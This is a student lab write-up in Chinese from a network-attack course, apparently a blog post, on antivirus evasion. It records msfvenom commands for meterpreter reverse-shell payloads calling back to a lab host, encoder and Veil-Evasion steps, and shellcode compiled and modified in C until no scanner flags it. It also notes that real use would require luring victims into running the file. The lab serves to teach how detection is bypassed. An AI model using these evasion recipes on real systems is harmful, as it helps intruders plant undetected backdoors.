zoukankan      html  css  js  c++  java
  • 20145201 李子璇 《网络对抗技术》免杀原理与实践

    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 通过对比恶意软件特征码和AV厂商的特征码库,找到相似的则为恶意代码。
    • 通过一些片面的特征推断。比如一个软件在做一件恶意软件常做的事,则认为该软件是一个恶意软件。

    (2)免杀是做什么?

    • 通过改变某些信息而使恶意程序不被系统上的杀毒软件发现、查杀。

    (3)免杀的基本方法有哪些?

    • 改变特征码
      • 加壳
      • 重新编译生成可执行文件
      • 用其他语言进行重写再编译
    • 改变行为
      • 使用反弹式连接
      • 加入混淆作用的正常功能代码
    • 非常规方法
      • 自己纯手工打造一个恶意软件。

    2.实践总结与体会
    通过本次实验,我学习了免杀技术,并且最终实现了后门不被杀毒软件查杀。体会最深的就是一次次对代码进行加工,报毒软件逐渐减少的过程。杀毒与免杀是互相博弈的。同时,也学习到了恶意代码是如何被伪装成了正常的软件,逃过杀毒软件和防火墙的法眼。这也说明了,即使电脑安装了再强的杀毒软件,也可能会被被病毒感染。这次只是一个小实验,居然不用花很大力气都可以成功...然而世界上不断有有新的病毒出现,我意识到想要保护自己的电脑环境不受外部攻击,单单靠杀毒软件是不行的。

    3.离实战还缺些什么技术或步骤?
    首先是要如何把后门程序放入靶机中,或者说是如何诱导使用者执行程序,要成功运行后才能进行后续的一系列工作。
    其次就是我所做的主机和靶机是连在同一个无线局域网中的。实际上还需要考虑到不同网络条件下如何将两者对接。
    杀毒软件公司也不是吃干饭的,他们也会定期对病毒库进行更新,于是就不能依赖于所谓的免杀软件工具来生成可执行文件,最好是纯手工构造。

    4.实践过程记录

    实践过程记录

    msfvenom直接生成meterpreter可执行文件

    • win10:192.168.0.106
      kali:192.168.134.129

    • 可以参考上一个实验 用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.129 PORT=5201 -f exe > test.exe命令生成meterpreter可执行文件并传输至win10

    • 在http://www.virscan.org/进行检测。检查结果如下:

    从图上我们可以看出,在总共的39个杀软中,有22个检测到了病毒。我以此为基准,看经过本次免杀实验后应用在平台上的识别率高了还是低了。

    Msfvenom使用编码器

    • 用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.134.129 LPORT=5201 -f exe > testlzx1.exe 生成可执行文件,并传给主机。

    • 利用刚刚网站进行检测,结果如下:

    • 可以看到的杀软发现其中21/39有病毒,和刚刚的相比并没有明显的变化。因为一有新编码算法,AV就会马上加到特征库中。这样的微调人家发现是很容易的~

    • 那么,才尝试多编码几次呢?用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b ‘x00’ LHOST=192.168.134.129 LPORT=5201 -f exe > testlzx2.exe命令将文件编码9次:

    • 再检测下:

    • 有21/39的杀软检测出了病毒。并没有实质上的变化,那基本可以说明,利用编码器进行免杀的这部分失败了...

    使用Veil-Evasion生成可执行文件

    • 输入veil-evasion指令打开veil-evasion:
    • 继续输入一系列指令来生成可执行文件
    use python/meterpreter/rev_tcp
    set LHOST 192.168.134.129
    generate
    5201lzx
    1
    

    • 成功后会显示这个界面:

    • 检测。

      这次还可以嘛,有10/39的杀软检测出病毒,但是离我的目标还与点距离,换种方式继续实验。

    C语言调用shellcode

    • 用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.129 LPORT=5201 -f c > testc.c生成一个c语言格式的hellcode数组,并写入testc.c中:

    • 打开.c文件,在最后加入main函数:

    • 输入指令i686-w64-mingw32-g++ testc.c -o testc_5201.exe,生成在windows系统下可以执行的exe程序,并传到win下:

    • 检测:

      有8/39的杀软检出病毒...还可以继续提升。

    进一步的修改

    • 再次对代码进行修改。我用的是vc6.0编写c程序并编译,也可以达到和vs一样的目的。这里就截取部分代码吧,具体代码就不贴了,可以简单叙述为保持原有shellcode不变,对源代码进行修改。求它的逆序,即进行首尾对换(这里参考了GQ同学的~)...

      生成exe可执行文件:
      查杀一下,没发现病毒:

    • kali使用msf监听,运行刚刚编译生成的可执行文件。

      实现了免杀

    电脑实测

    在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    图上可以看到回连成功,已经获取了权限,可以执行ls指令,同时右下角杀毒软件是开启的状态。这就实现了免杀~

    • 电脑版本win10
      杀软版本:

    • 可以获取权限,尝试一下截屏

  • 相关阅读:
    Windows下Subversion配置管理员指南
    asp.net HttpHand和HttpModule的详细解释,包括Asp.Net对Http请求的处理流程。
    SQL Server 2000不能远程连接的问题
    ASP通用分页类[强]
    不错的站长工具网址(不断收集中....)
    函数的四种调用模式
    HDOJ 3943 Kth Nya Number(数位DP)
    HDOJ 2196 Computer
    HDOJ 3695 Computer Virus on Planet Pandora (AC自动机)
    HDOJ 4277 USACO ORZ (搜索+剪枝)
  • 原文地址:https://www.cnblogs.com/20145201lzx/p/6592403.html
Copyright © 2011-2022 走看看